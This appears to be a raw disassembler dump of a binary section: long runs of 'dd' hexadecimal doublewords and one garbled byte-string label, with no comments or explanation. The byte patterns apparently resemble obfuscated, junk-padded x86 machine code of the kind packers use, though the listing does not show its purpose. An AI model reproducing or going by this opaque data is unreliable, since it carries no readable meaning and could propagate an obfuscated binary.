dd 0F000000h, 0FDB6C0B7h, 11E9E38Ah, 73000000h, 0F574BC12h
dd 0E78B982Ch, 0E55FBDACh, 5063E46Fh, 66F88B66h, 0A1D5E381h
dd 0FE960h, 0C8720000h, 0FD358133h, 86683C47h, 0F47D9AB6h
dd 0B830F07h, 0E9000000h, 6, 0F2F65C6h, 0F9612E65h, 0CEBF0F53h
dd 0BBA2BE59h, 0BF661116h, 6E98137h, 0C9000000h, 0E6FAF6Eh
dd 92C18152h, 8B192300h, 8C0FF0h, 66000000h, 668235B8h
dd 0D08BD98Bh, 56CE8166h, 0AF4AB891h, 81660A7Bh, 6674E6D0h
dd 0D2B5C381h, 0A7E16EBEh, 1880F50h, 0FC000000h, 38D0Fh
dd 8B660000h, 56DE80D9h, 0F9F88B66h, 26F28166h, 7880FF9h
dd 0F000000h, 18Dh, 0C880FC00h, 12860FE1h, 0E9000000h
dd 0Dh, 77DEAD7Bh, 82333372h, 97EF7731h, 0DBBF0FC1h, 66C1B70Fh
dd 0EBD5F281h, 0A6F08166h, 0DE8FBh, 81600000h, 0B2AFFB24h
dd 6FB05F22h, 66D32FF9h, 6059F88Bh, 880Fh, 8C0F0000h, 5
dd 0C9763EBBh, 0F88B6134h, 890FF5h, 66000000h, 8166F18Bh
dd 814CDEEBh, 954442C7h, 0D18B6651h, 0FC5EBB66h, 66DBB70Fh
dd 6644E1B8h, 0FF9CCB8h, 10E9F1BFh, 9B000000h, 8DB13963h
dd 0C23803DFh, 465E381Fh, 8191EEB5h, 0CD94BECFh, 0F3B70F7Ah
dd 178F0Fh, 0E9560000h, 10h, 0DB4997A7h, 0EF00C301h, 0CDE99386h
dd 3EC897A0h, 17890F5Eh, 60000000h, 9E8h, 41ACAB00h, 0A14C98D7h
dd 815BAACCh, 0C53599D1h, 0DE9612Ah, 0
dd 0ABABE1AAh, 9A51E3E5h, 0D8C3991Eh, 2870Fh, 0D48A0000h
dd 0F942DF80h, 20E307BBh, 0F9C18B53h, 61606052h, 0F42FE1BAh
dd 0F5B6107h, 383h, 1EC18000h, 81F3BF0Fh, 5B6AA5D9h, 178BBF4Dh
dd 0D18071C0h, 70E780D4h, 80FA8B60h, 666167EAh, 8B5433B8h
dd 0E811B0C6h, 0Ch, 4BA031D5h, 8424ECE7h, 384AAA9Bh, 5E8ED980h
dd 5E9h, 70597400h, 0CE988FEh, 0CC000000h, 32B8A180h, 914A1D17h
dd 0E9DA9DE4h, 8, 61A7D505h, 0D5DC642Ch, 880FC38Ah, 17h
dd 0DBD78060h, 0CE8h, 0FC967400h, 512DDEE3h, 84AFBDBCh
dd 666158C4h, 0BDBADE8Bh, 0F4CE835h, 586h, 996ABE00h, 816655C3h
dd 0B60F07F2h, 2830F91h, 8B000000h, 0CAC281D3h, 66262005h
dd 0BE66FB8Bh, 0AE9BDC8h, 0CE000000h, 0AE5E1016h, 5B13068Dh
dd 0C1B70FA2h, 5EF78B57h, 5F525656h, 820F595Eh, 2, 5E883B4h
dd 4D000000h, 6F0043C0h, 9A8EE281h, 0F95823B0h, 0EE08166h
dd 66AAB2A7h, 2A38E081h, 0A7B5DBB7h, 8D0FF38Bh, 16h, 11E9h
dd 0F4346E00h, 0EB9976BCh, 36E16F68h, 70BC2E8Ch, 890F42BBh
dd 0
dd 0FDA8B66h, 87h, 8B666000h, 0B1E480F8h, 0EFCF8161h, 0E92CC77Dh
dd 0Dh, 0D23AF621h, 0D666ADD3h, 2B81D1F6h, 66606045h, 782FF681h
dd 8D0Fh, 0B8610000h, 6CDDB742h, 0F9B70F61h, 810Fh, 36B10000h
dd 11E8h, 15DAB100h, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
dd 58F8C008h, 5CCCBB60h, 11E95D7Dh, 0CE000000h, 0EF570C5Fh
dd 0C1849AF7h, 4DBC8188h, 833176A4h, 14E961h, 0A8CE0000h
dd 0D3F9CB93h, 0F1F8C5A2h, 0A4665B07h, 86BFFE91h, 0AE968E3h
dd 0E0000000h, 78688E87h, 0FB4599C8h, 7CB8662Eh, 0FE8F8BDh
dd 31000000h, 0F5AD306Fh, 6112566Bh, 4275C5B1h, 0C78B276Ch
dd 0FF98B5Fh, 8166D3BFh, 818085D3h, 161CBCF1h, 0AAD1807Eh
dd 0C0AC69BEh, 7E94Bh, 0D78A0000h, 7475FF9Bh, 0D0B70F4Ch
dd 0FF7BF0Fh, 187h, 5850FC00h, 0B74F2BBFh, 14E843h, 78FB0000h
dd 0BF3652E5h, 3ECA620Eh, 8EA04EF4h, 0E2990F33h, 8F0F4BAAh
dd 3, 5ADF8B66h, 78A0Fh, 800F0000h, 1, 0D6B70FF5h, 830Fh
dd 850F0000h, 0
dd 80CBB70Fh, 0FE9F9EEh, 8000000h, 8F597D31h, 48635C1Ch
dd 9017CF4Bh, 8C0F87D8h, 0Dh, 8E9h, 0BE00EC00h, 8A23C21h
dd 8E899h, 0A4CE0000h, 0ED925579h, 8B6009A7h, 0CF8166CAh
dd 5B61BD7Eh, 0A545BF66h, 6E9h, 613C0E00h, 0E9E77C3Bh
dd 7, 0DC77F89Bh, 0B458E5BEh, 0CE9F4h, 80570000h, 6E05E202h
dd 0FCC26F33h, 8A0F156Fh, 3, 8BC9B70Fh, 13E9FEh, 487E0000h
dd 0DA4FF69Ch, 0B595A243h, 533B3EFBh, 0EAC41C57h, 0F858B4F4h
dd 9CC4BA66h, 0C9816660h, 0C181BDDEh, 71831286h, 0B302BE61h
dd 8B662FB0h, 10E9FAh, 0E3290000h, 60F61735h, 9FA87A3Fh
dd 47170C9Fh, 0BE66D0F6h, 73BA5AB1h, 6658E3B1h, 81FCA3BEh
dd 0A387E8F3h, 66FE8B15h, 8C88EB81h, 5840Fh, 81660000h
dd 0E86A2FEAh, 0Ch, 0D77DCF91h, 0FE9F4124h, 0E847E9BDh
dd 15860Fh, 10E90000h, 5B000000h, 45FE770Ah, 0D86C1DAh
dd 1579E43Dh, 5E8D9D69h, 6E9h, 26F16900h, 66E2DC9Bh, 0C980FE8Bh
dd 0F9BF0F5Ah, 14E9FCh, 270C0000h, 91EFA181h, 30618397h
dd 0F429A2CFh, 0FEEC4113h, 820F8DECh, 1Dh, 17820Fh, 11E80000h
dd 0D3000000h, 22A29EF7h, 6D55822Fh, 0E40734AFh, 0B6FFC6BBh
dd 0BFA2B65Ah, 0E96EA50h, 8323DCB8h, 1D890F36h, 0E8000000h
dd 11h, 77DB67E7h, 16C32F69h, 17E59733h, 0EC267866h, 8C0F55h
dd 58000000h, 0E9CAB70Fh, 0Dh, 0F86549B9h, 0B503811h, 1CA13CCEh
dd 24E2BAEEh, 81665C8Bh, 0B17676C9h, 6BD181EEh, 0BE5F65D3h
dd 41E5D126h, 5E8h, 0D3C75C00h, 0F98AA870h, 68BB5059h
dd 590EE70Ah, 9E951h, 5BC90000h, 666A67D0h, 59E94015h
dd 0AE9h, 5D870500h, 4987B153h, 504CB8EBh, 5850Fh, 35B80000h
dd 5E5F4218h, 51B260F5h, 0F6130B7h, 684h, 890F00h, 0F000000h
dd 24BAC0BFh, 53555B34h, 59D0B70Fh, 6A488FB9h, 0BE968h
dd 0E2450000h, 0BB2C5EDEh, 0E2736CCEh, 0DE960CCh, 0A0000000h
dd 9CB46D18h, 444528A2h, 59268F03h, 0D9B70F60h, 880Fh
dd 61610000h, 12E8h, 0E6470700h, 0C109A45Eh, 4444285Bh
dd 9235220h, 0E9492DC6h, 11h, 0B364691h, 8D8CABC4h, 61211D0Ch
dd 49258B26h, 0FEB45F59h, 5E8h, 28469B00h, 8D0FAD09h, 10h
dd 0BE9h, 0E281F600h, 81FC7C02h, 73AE0CA8h, 66A6B35Bh
dd 8116EABBh, 0C3CA30D6h, 81D98B3Fh, 0F6F4D3E9h, 7258BF19h
dd 0C6B06527h, 13E9F08Bh, 79000000h, 0E84B532Fh, 1B112D9Eh
dd 643F0A33h, 42A54081h, 0BF0F04BCh, 0A0B551FAh, 74DA815Ah
dd 6028B273h, 36D5CE81h, 0BB663B28h, 66618D23h, 60CC58BAh
dd 6820Fh, 820F0000h, 0
dd 0C03DE6BEh, 0CE80610Ah, 0CB8B667Eh, 58A0Fh, 81660000h
dd 0E9C575D7h, 10h, 0B3E57BB0h, 603A8CE2h, 71ACFBD3h, 20DBA241h
dd 34B4DE8Bh, 0F68157F8h, 0A071F5Ah, 70D4805Eh, 0E9CB8B66h
dd 7, 50BF78C5h, 60AB2DE8h, 80C0B70Fh, 0E96144C9h, 0Ch
dd 24297285h, 16A046E3h, 8C77A802h, 0E8CBB70Fh, 0Eh, 667E8499h
dd 3D4B26A1h, 0B39A6442h, 0E95934A9h, 11h, 580F6CEAh, 0C8CD013Dh
dd 55B9FCD4h, 0F7AA0652h, 39F3816Fh, 66294E9Dh, 6E88F081h
dd 0A49BB966h, 10E892B0h, 0E2000000h, 289DD2F4h, 0B33F6F46h
dd 0FF90D43Ch, 0F9CC110h, 83h, 0E9605A00h, 12h, 201C93CBh
dd 2BCDE2FAh, 923C71A1h, 75902A2Eh, 81665F2Fh, 61C898F1h
dd 0F08B66F9h, 48A0Fh, 0B8660000h, 0BE665683h, 81665FE8h
dd 0FA864F7h, 38Eh, 0C6BF0F00h, 0CF81C38Ah, 5ABD315Eh
dd 0AD7BBA66h, 14E08166h, 3D04B9E2h, 0B8F87655h, 35EBFD2Eh
dd 48C0Fh, 0B1500000h, 830F587Fh, 0
dd 0EE8h, 0EE1D5300h, 24FD4069h, 0D53B6877h, 0B5817C3Dh
dd 0F0815B5Eh, 36453C56h, 840F51F8h, 4, 3D0AB866h, 0C1816659h
dd 870FD27Dh, 8, 2890Fh, 75B10000h, 93EE8166h, 0D18B669Bh
dd 6E9h, 4A517300h, 8B815DBDh, 6E9CFh, 541D0000h, 73F6361h
dd 0F98CB460h, 8F0F61h, 0E8000000h, 11h, 38083BDDh, 351DF811h
dd 73485BA1h, 0DE9829FEh, 28BE6674h, 0E8FC5889h, 14h, 598889ABh
dd 0CD304FACh, 0E83BFD01h, 0E5ED986Eh, 7BC33F5h, 5A5259FCh
dd 2820Fh, 0E68A0000h, 8166DA8Bh, 8AC9B4E1h, 0CE8F7h, 0F27B0000h
dd 37036C3Eh, 0E67CAC98h, 0BF0FBC35h, 66F85FD0h, 0FF2BE881h
dd 0B773B3BBh, 0FBBF0F6Eh, 6E960h, 9D490000h, 0BA900ADh
dd 0F5DE8161h, 0E82E267Dh, 0Fh, 9E457A1Ah, 227B1760h, 0E4376F0Eh
dd 0BE3315EBh, 7E3CE718h, 0F18B65Ah, 7FBAF9BFh, 0E926AEA7h
dd 0Fh, 0B474BD6Bh, 0E9C8E845h, 188692A4h, 66256463h, 8BDE4CBAh
dd 0FA0B2D0h, 1181h, 8E800h, 0AC410000h, 8B8E717h, 0BF0F016Fh
dd 0DB8058D9h, 820FF527h, 6, 0C9DECB81h, 890F11CEh, 3
dd 57F88B66h, 0FAB86651h, 0F55E5B07h, 8D0Fh, 8B660000h
dd 5830FCBh, 66000000h, 6669DF81h, 66D3C580h, 0F168C981h
dd 7FF18153h, 597F496Eh, 66DD8A60h, 0FC61CB8Bh, 92BB66F9h
dd 0B8DA8B56h, 4442970Eh, 60CE8B66h, 850F53h, 5E000000h
dd 0ABF1BB66h, 58CF8061h, 0F8FCB80h, 6060F0BFh, 0B70F5950h
dd 616061C6h, 0E9DF8B61h, 7, 0CE12C53Ch, 602BC0A5h, 14E9h
dd 16C95900h, 2FA86AE9h, 0A8931748h, 847119BEh, 678E8C96h
dd 37EA8008h, 0F9FB8B61h, 9E9h, 6E86D000h, 3EF4EE2Eh, 0E181787Eh
dd 0D2CE94Dh, 0C810Fh, 860F0000h, 6, 830Fh, 840F0000h
dd 1, 0B6D081F8h, 0F0D5A2Bh, 28Fh, 0BB5AB400h, 43E940DAh
dd 12E9h, 0D2DECE00h, 87CD064Fh, 19471055h, 3D3AE378h
dd 66AD59BBh, 0F48DEE81h, 8B66D68Bh, 18B0FDFh, 0FC000000h
dd 34B72B8h, 0CB8B6620h, 6E9h, 75E3E900h, 0FB81A70h, 587h
dd 4A67B800h, 0DF80549Eh, 0C7816613h, 0B9609FD9h, 4E877792h
dd 4CE88166h, 0F606102h, 6061C1B7h, 0E9FEE280h, 0Ah, 89632BB7h
dd 0CA067250h, 0B461957Ah, 14E855h, 48CE0000h, 7AD3F14Ch
dd 421FCCE4h, 0A4676AFEh, 0C7B50980h, 6E83792h, 0F000000h
dd 0CA0C8437h, 6E8B8h, 0BDBC0000h, 12C484AFh, 0F5F5F5Fh
dd 383h, 0D78B6600h, 1810Fh, 0B5F80000h, 0CE8C9h, 38E70000h
dd 0BDE33156h, 7D40E9BCh, 0C38BD612h, 0BBBDBF5Ah, 0F51586Eh
dd 0F5EC0BFh, 188Dh, 10E800h, 21DF0000h, 0B84EFC13h, 0AEE5BC59h
dd 0BEAFF76Ah, 61603ED6h, 58B0F5Eh, 0BE000000h, 64CF79AAh
dd 97E38166h, 0CE6CBA20h, 9E92CBEh, 19000000h, 9B38527Fh
dd 0D65A81FEh, 5FF0B352h, 0E8DFB70Fh, 0Fh, 3C8B8F9Eh, 0A456A54Ch
dd 0A9147601h, 0F0FFA17h, 38Bh, 0FA8B6600h, 31EFBA58h
dd 0BF663B08h, 14E94347h, 0D3000000h, 3C68768h, 0F2171111h
dd 0B58C5342h, 0E426406Ch, 607ED9A8h, 0DE8h, 8E3B6B00h
dd 942D3394h, 0C8D201E8h, 11E9EB93h, 0F2000000h, 0D5B22849h
dd 25DEAB2Eh, 0DA52C1EEh, 19E9D7E8h, 8166505Eh, 597B0FF3h
dd 0F15B261h, 0E960CEBFh, 0Bh, 46C19AA2h, 27777966h, 0F8589D82h
dd 0E9CE8A61h, 0Dh, 6B20B14h, 75F0340Ah, 13FBF88Fh, 0C78B66FEh
dd 7E960h, 0FF220000h, 13DCFAF2h, 16F181C9h, 613833D2h
dd 168D0Fh, 8C0F0000h, 10h, 0AE8h, 0D3827500h, 55113F9Dh
dd 5E24167Ah, 68BA6660h, 0DF8166EEh, 536107BDh, 0F381665Fh
dd 840FCF7Dh, 3, 50D88B66h, 13E9h, 7CCFAA00h, 0CEA1FEBBh
dd 5D8F80FAh, 10FABE6Bh, 625AF5F2h, 9E95Ah, 0F2D90000h
dd 493370C4h, 0F0090AFh, 58Fh, 0EB3FBA00h, 0DE817321h
dd 5E4B1FE4h, 0BE9F8h, 0E7510000h, 8E40C4C2h, 0A06A5193h
dd 0C981668Ah, 0E9F548C1h, 0Dh, 8EB88D80h, 23A5833Bh, 1A6CA74Ah
dd 5E93Ch, 0ED8F0000h, 0E96A82C2h, 6, 0BB0FE53Fh, 0DE8A7403h
dd 11E9h, 64ACA000h, 0B9962B5Ch, 0BE4C9FDFh, 39203155h
dd 57B27FC0h, 7E8h, 0EE01EC00h, 91FD8765h, 8C0F60h, 0E8000000h
dd 14h, 0EC0373BBh, 9DA96A20h, 0D05DB4Dh, 1788873Ah, 0C789C0D3h
dd 8158615Fh, 5FF027C7h, 0C88B663Fh, 0DE850h, 73FB0000h
dd 8F1D3AC3h, 2BFD7110h, 6608F0F1h, 5A58C88Bh, 9393E681h
dd 0BA660D7Ah, 0CE935BFh, 19000000h, 63264988h, 0B4DE589Ah
dd 0FBA1337h, 0B866DAB7h, 8B66F0EBh, 0FE9C1h, 0A7710000h
dd 8CE7AB9Dh, 0C18D2B89h, 0AA31FF77h, 3820FF8h, 0F000000h
dd 8E8D1B7h, 25000000h, 0EB129031h, 66D242EBh, 5E2BD4B8h
dd 0E8FC69B0h, 5, 0B2CCA95Bh, 820F51h, 5B000000h, 8A50D48Ah
dd 8C0F5FE7h, 0
dd 2F85D881h, 0E9FC58DDh, 5, 2E00FC6Dh, 0B2E88128h, 0B024F6EFh
dd 0F0816680h, 8166420Bh, 0F84DCCEBh, 0FECE880h, 485h
dd 0F7BB6600h, 3890F71h, 0F000000h, 86B3C8B7h, 80C18B66h
dd 0D2818DD1h, 6094F163h, 7E960h, 1B510000h, 0AD07E373h
dd 860F32h, 61000000h, 0B4D88B66h, 8B6660D3h, 0F28B66DEh
dd 0CE9FC61h, 0A4000000h, 0C7B50980h, 0C3B13792h, 66293870h
dd 82C7D881h, 0DD6CB966h, 0E91FA1BFh, 0EE972h, 1200000h
dd 0EF0785DAh, 5AC35367h, 86DEDAA0h, 10E9h, 62B96300h
dd 4A094F7Bh, 0EB1710C5h, 0A8AF51FEh, 0E96060FAh, 0Fh
dd 0AF49A07h, 0FAD7A3AAh, 0BFCE4CCFh, 61E83E56h, 0CE8h
dd 98410700h, 5E396686h, 0B7B5F995h, 6061587Bh, 2830Fh
dd 81B10000h, 5E961h, 0B2D00000h, 0E816BD2Dh, 7, 0E419EB38h
dd 0B2765565h, 800F5BB1h, 6, 0C597CE81h, 56F50B30h, 5850Fh
dd 0FB90000h, 5F60F8F0h, 0FC28B66h, 48Fh, 1EBA6600h, 0EF8166E8h
dd 9E9EDCDh, 46000000h, 2B0B9B13h, 0C2CEB977h, 800Fh, 8B660000h
dd 666060FEh, 8B3B23BBh, 61B861D0h, 612AE51Eh, 5860FF8h
dd 66000000h, 643AC981h, 0B7FFD280h, 4BB966A8h, 8820F44h
dd 0F000000h, 289h, 66CE8A00h, 7CABDF81h, 0FCB8B66h, 9E9F7B7h
dd 77000000h, 56BCD408h, 0B583CBADh, 203EBF52h, 0E958794Bh
dd 9, 0DBD4E542h, 0BF8C7DA2h, 4820F04h, 66000000h, 6629D3BFh
dd 509663B8h, 3850Fh, 8B660000h, 0E9525BC6h, 0Fh, 0DCB239C2h
dd 0C5DF3F6Bh, 5EF4CED3h, 5B9416EAh, 8166C88Bh, 0E96A7EE0h
dd 9, 76CB6A0Ah, 0B0E9CCEEh, 20EBBE09h, 0C8BB39F9h, 0E952FA6Ch
dd 8, 3BE15A6Ah, 0D8BCD6FCh, 0D881F4BEh, 61FC602Dh, 0D1EF81F9h
dd 53397DDDh, 5FFFBF0Fh, 0F1BACB8Bh, 6649D3F1h, 385DF381h
dd 5E852h, 0B3280000h, 0FBA99B7h, 80h, 60595F00h, 8B66C78Bh
dd 0F18161F1h, 7E0A064Fh, 0E9D78B66h, 14h, 69DADDB5h, 9ACFB8B4h
dd 0B80286ACh, 0EC4A469Dh, 35C8B439h, 66E1B7F9h, 8B93ADBFh
dd 66F88BD8h, 0BFB4DE8Bh, 6C27C681h, 0BF662BB2h, 8E0F49A3h
dd 0
dd 10E8h, 3D4E3B00h, 0C5EBEE7h, 0AD244384h, 0AA8684E1h
dd 72C88077h, 0FE9605Fh, 0B000000h, 0EBFABB88h, 0B00F54D3h
dd 43D28A3Fh, 0EAB1B89Ah, 8E961h, 958C0000h, 90E28FFFh
dd 57F974FDh, 59FB8B66h, 0FF7B70Fh, 85h, 39DB8000h, 0C9816650h
dd 605B0FFFh, 81F7B70Fh, 3C7BDBEFh, 53F5610Eh, 5BCAB70Fh
dd 66FE8B66h, 0B72EB7BEh, 1FC78161h, 663FFF7Eh, 66D73EBEh
dd 5CD8D681h, 0D4D98166h, 2EF78014h, 0A7B7F88Bh, 14A86BBEh
dd 48BF6615h, 8BDE8A2Ah, 80F860D6h, 8161E7EBh, 0A0700AF0h
dd 8D0F0Eh, 66000000h, 0E9B176B8h, 0Ah, 28FAA690h, 61A569CDh
dd 0E9606EC2h, 11h, 0CAA931FCh, 50708B33h, 0E21DFFB3h
dd 0DA7AC146h, 0D820F80h, 0E9000000h, 8, 0E9900E1Dh, 9C2668DCh
dd 7EC88161h, 0F32B538h, 1687h, 8E86000h, 40000000h, 0FF579CB7h
dd 5F94E8D1h, 0B29AEA81h, 0F5615384h, 7E9h, 3F6BDC00h
dd 0CED3C5DFh, 8E9h, 0E8533E00h, 71AA30D6h, 0BFEFBB77h
dd 0CA8A71F4h, 0D8816660h, 0B9612DA1h, 6A4CBC75h, 0C18B5656h
dd 0F0B15F5Ah, 0E9C78B66h, 14h, 185E7218h, 0B20A4CCBh
dd 4BD9FF8Fh, 5ED8012Eh, 0F65BF7E6h, 11E952F8h, 87000000h
dd 5FFB749Ah, 4F1C5093h, 4A947720h, 144C7DE2h, 465CBB5Eh
dd 8B667EB2h, 0CE9F5D9h, 2000000h, 0D99F92FFh, 35D583ABh
dd 812C8FE9h, 5F8985DAh, 50B96629h, 0DEBE6653h, 3FDE8117h
dd 66756865h, 602BE9BBh, 0F97E780h, 0BF61CEB7h, 5990E89Ch
dd 0C18B6660h, 9E860h, 0FB750000h, 7B7E1FEh, 5FB8AA71h
dd 8A0Fh, 61610000h, 860FFE8Bh, 2, 0F60DF8Bh, 382h, 0F9B70F00h
dd 5EF08061h, 28C0Fh, 0C68A0000h, 2880F52h, 0B6000000h
dd 6AB85B00h, 815B5887h, 0ACE616C1h, 0E870F49h, 0E9000000h
dd 9, 634140FDh, 0A6044B5Fh, 8060F826h, 0C28B1AD2h, 0F1F38161h
dd 80122A23h, 59BA62EDh, 0BA059335h, 7CD98D61h, 7E8h, 0E5FC4000h
dd 68AA81EEh, 805FFB8Bh, 0D5B232C0h, 60D8B70Fh, 872BD881h
dd 33BA3037h, 61384961h, 0FF18B66h, 0CA81DABFh, 7CEADC75h
dd 10800Fh, 0BE90000h, 0A7000000h, 4CAD028h, 0E50B9D47h
dd 0F60FE03h, 28Ah, 0FF28B00h, 0E961DABFh, 12h, 0A2D60AD8h
dd 0D1DDE2EAh, 65A380BEh, 7A30867Ah, 8C0FA7A3h, 0
aNYxflS db '©╜аYxf▀зИ',9,0
align 4
dd 22CA5E00h, 0CAA66087h, 0E080AA1Ah, 68D881B6h, 0B9724B73h
dd 74807409h, 11E9D98Bh, 94000000h, 6D005109h, 3599186Ch
dd 0E276E705h, 0DCA3E9F1h, 12E8h, 27DB7700h, 0CDCFE126h
dd 0FF980036h, 0EBE16AA8h, 5E706450h, 16C5B860h, 800F36B6h
dd 2, 0F61F18Bh, 1389h, 0EE900h, 0BA6B0000h, 210767A3h
dd 377C6BABh, 381B886Bh, 168B0Fh, 11E90000h, 0CC000000h
dd 0DFA98C07h, 0FA70950Fh, 9B593D2h, 0A035F250h, 3800Fh
dd 0E8800000h, 7CCF80C1h, 14E9h, 0D447A500h, 0C747DE7Dh
dd 0F4541A94h, 0C4CFE29Ch, 0DB40177Fh, 0E9C0B68Eh, 0Ah
dd 1C197339h, 0B0024EA6h, 81668DE8h, 52FDACD2h, 8E8h, 1434CE00h
dd 0ED52F287h, 4EB96667h, 8B5A5F1Bh, 8166F5C2h, 0E91FA5EEh
dd 0Bh, 0E4CF8259h, 7CB9B5C3h, 0FAEF67Dh, 8Ch, 58B0F00h
dd 66000000h, 0FCC7F281h, 6F38166h, 0AAB966BAh, 0BF5BB7DDh
dd 1018235Fh, 0CE8h, 4A4A6C00h, 52302E58h, 0D342DD3h, 5E2CB473h
dd 3CC08166h, 5860F2Eh, 0BB000000h, 4236A67Eh, 8BDFBF0Fh
dd 0C2BF0FF9h, 1A7BE881h, 0B70F1EC9h, 0CB8B66DAh, 0E800Fh
dd 9E90000h, 97000000h, 0D5C25EDCh, 925A457Eh, 863E46BAh
dd 60F18B0Dh, 0CE9h, 80557700h, 0EBC4CB90h, 9C9F2F35h
dd 0D6B866BFh, 8E0F614Fh, 5, 0C0DF06B8h, 0D8E28156h, 0E924CE68h
dd 0Ch, 82FAC0CEh, 0C5855072h, 7B4A7FC1h, 5F6EB351h, 4518DB81h
dd 815024DBh, 0A9EB8DCFh, 12E95B46h, 54000000h, 64D042B1h
dd 480EC5F0h, 317FCE0Ch, 0F90C292Ah, 0CE9DEh, 19E90000h
dd 4659C27Ah, 878A624Eh, 606074D8h, 8F0Fh, 5E80000h, 98000000h
dd 0BC924DFh, 0E861615Bh, 12h, 0FD9CE5BAh, 5E0AD0E8h, 0B738FEA0h
dd 49948C84h, 41B5D3CAh, 0F281F95Eh, 744C08D8h, 0E830F60h
dd 0E9000000h, 9, 5927D4A1h, 83A3B6F1h, 0F98B660Dh, 0C28B6661h
dd 5E8h, 91E0A00h, 5BF8E68Bh, 0FD67E381h, 7EBA3989h, 0E87578A0h
dd 0Bh, 6AE328D0h, 9264FAEAh, 0F85F146h, 0B65AF7BFh, 0EFBF6663h
dd 60F88BA3h, 0DE9h, 2B6600h, 0DE320947h, 9259F66Eh, 81663C69h
dd 611F4CD3h, 14E9h, 0BD4FEF00h, 0EE6784F0h, 0B0889AF3h
dd 0D7CC9CDEh, 0ECEC6F7Dh, 0B5FE8BFBh, 8D0FF7h, 0E9000000h
dd 0Eh, 341B3413h, 0FF75E063h, 0D4DA76AFh, 0BA663406h
dd 5E9BDD7h, 0E000000h, 0CA73D45Dh, 6DD2D4BAh, 0B8536031h
dd 3C846877h, 48E0F5Fh, 66000000h, 61748CBFh, 0B70FFC60h
dd 665761CAh, 0B55BF08Bh, 0B2BF6673h, 0BFC3B3F2h, 393847Eh
dd 0DE8h, 0FDFD7B00h, 0DE95255Fh, 0D7F9076Fh, 0E2819B40h
dd 299B6B4Bh, 0F0816658h, 0F681DAD0h, 6C55A130h, 0FE8h
dd 1C609D00h, 0F0B87F7Fh, 15DF0FC9h, 0C28017BFh, 7E859h
dd 0A6450000h, 6198F245h, 0AE9BFh, 0C8040000h, 5C3EE2E5h
dd 0E22D6985h, 519BBB58h, 0B70F32A1h, 8DB966D8h, 66D68B64h
dd 6D90C381h, 0AFADBF66h, 0C800Fh, 7E90000h, 26000000h
dd 0C3A25966h, 0C28A551Bh, 66F3BF0Fh, 0CA05E381h, 0A3F78166h
dd 0BEB4BF1Ah, 6051529Fh, 51D28166h, 515961EBh, 0E958D18Ah
dd 5, 0F05D12FAh, 816660E4h, 6644EDD6h, 616753BAh, 17E98166h
dd 14E86052h, 0E7000000h, 7430A050h, 2A43A2D9h, 0C2D9D453h
dd 5EA07EB6h, 5FD66EFEh, 1890Fh, 61F90000h, 0A666D0BAh
dd 0AE975h, 194A0000h, 8B2D4865h, 7350B09Ah, 786ABB66h
dd 810Fh, 880F0000h, 19h, 14E9h, 7A697800h, 0E2E81FB2h
dd 6DC55923h, 3B39FD1Fh, 79E9F754h, 0FB8B52A0h, 66D78B5Eh
dd 80C66BBEh, 0AE946E9h, 0D4000000h, 6095FFFBh, 87B272E4h
dd 0F3816670h, 0CB8B1AD7h, 5880Fh, 55B80000h, 8A5215C0h
dd 0EE8166F5h, 0F281F3FCh, 4D9C6E49h, 28C0Fh, 0C38A0000h
dd 14E8F98Ah, 37000000h, 8DEAEF34h, 9A90490Ah, 0A885B517h
dd 0F85C6390h, 0F97069BEh, 0E781665Fh, 0D48A3664h, 860FE9B4h
dd 2, 8166C28Bh, 60BA3FE2h, 6105E580h, 0BA66D88Ah, 0F5F54BA3h
dd 8888BBFCh, 0AE91A0Eh, 0CD000000h, 5DC7F6A4h, 6B661813h
dd 0E96160A9h, 0Ch, 9B3E5B3Fh, 0C189B2B4h, 0D93419DBh
dd 5B4872BAh, 66D38B08h, 0BE3D39BFh, 62E1A1E6h, 0AE960h
dd 0D94A0000h, 4FFCA228h, 0CA5BFB00h, 0C2EB5BBAh, 860F615Eh
dd 16h, 11E9h, 47771900h, 9367AF16h, 0DBD0BFF8h, 0CCA76ABEh
dd 81662B70h, 665DEFEAh, 0B70FF08Bh, 5870FF9h, 0BF000000h
dd 6EB52A3Eh, 0DF81C28Ah, 6A59E165h, 66F18B66h, 66D6FBBEh
dd 801A5EBAh, 81668DC1h, 0E84CE3D9h, 11h, 0D75D639Fh, 5D41F204h
dd 991D343Dh, 0EC604D40h, 6E80Fh, 0C800000h, 64393C06h
dd 880Fh, 5B5B0000h, 0BFEE8166h, 0D88B6666h, 11E9h, 0C0B32300h
dd 2AFCBA9h, 8EDED207h, 0CB2FA141h, 0CB80EE85h, 8B6660E6h
dd 615857F8h, 10E9h, 0B2CCA900h, 0E09DB51h, 818A0CC4h
dd 0A859F2Eh, 9820FF1h, 60000000h, 15DE8166h, 61F0B416h
dd 660FE380h, 66F165BAh, 9B76D781h, 5A4CEF81h, 0CE87D2Ah
dd 7D000000h, 0F314708Fh, 0C58010D8h, 528FD21Eh, 0C302BE66h
dd 0CE85E5Eh, 0F4000000h, 55721971h, 1915695Dh, 6622DE1Eh
dd 5F2D54B9h, 0FD8BF0Fh, 180h, 14E8F800h, 29000000h, 9E5CC9EFh
dd 2594A8F9h, 0A53B98FCh, 1053A66Bh, 819A70F5h, 3A2E5BE7h
dd 81665E57h, 0F8FF8C2h, 168Eh, 11E900h, 0D63F0000h, 0B1553E8Dh
dd 0BC37B711h, 5FE6362Bh, 0E9BB75D4h, 5, 0C5B4F4ACh, 0DB951DAh
dd 5B6F2D3Ch, 14E8h, 29298100h, 6FA8AA41h, 80E8CDA1h, 0D479C5ADh
dd 0A0AC1CBFh, 9BA6BE7Ch, 0FC5B43D3h, 5160F28Bh, 8E0Fh
dd 81580000h, 0D5FB67DFh, 12E86177h, 72000000h, 0E1DD7211h
dd 40F79554h, 37539BFBh, 4023FB68h, 0C38166F7h, 0B159567Bh
dd 14E940h, 0B1B60000h, 652B610Ch, 0FC4550B2h, 307FC7B8h
dd 24EF4E9Dh, 8166C059h, 0F2F53C9h, 1B9C1B7h, 0F1C7126h
dd 810FDABFh, 4, 8B0DBF66h, 24E8F381h, 7E8107Ah, 7D000000h
dd 0BC9E29BCh, 0E78118C0h, 12D5A73Bh, 88F0F58h, 0F000000h
dd 28Fh, 0BBC28B00h, 11B9CEECh, 0CFE6BE66h, 21E18166h
dd 0E9D08B47h, 0Ah, 3825D80Eh, 0DFBAEF84h, 2FB6B716h, 12E8h
dd 4AECCD00h, 0CFB416CAh, 0A8A756E6h, 0A9FAD22h, 609B0CE3h
dd 810Fh, 59610000h, 0FE8h, 15C0EF00h, 66CD7F3Ah, 468421F6h
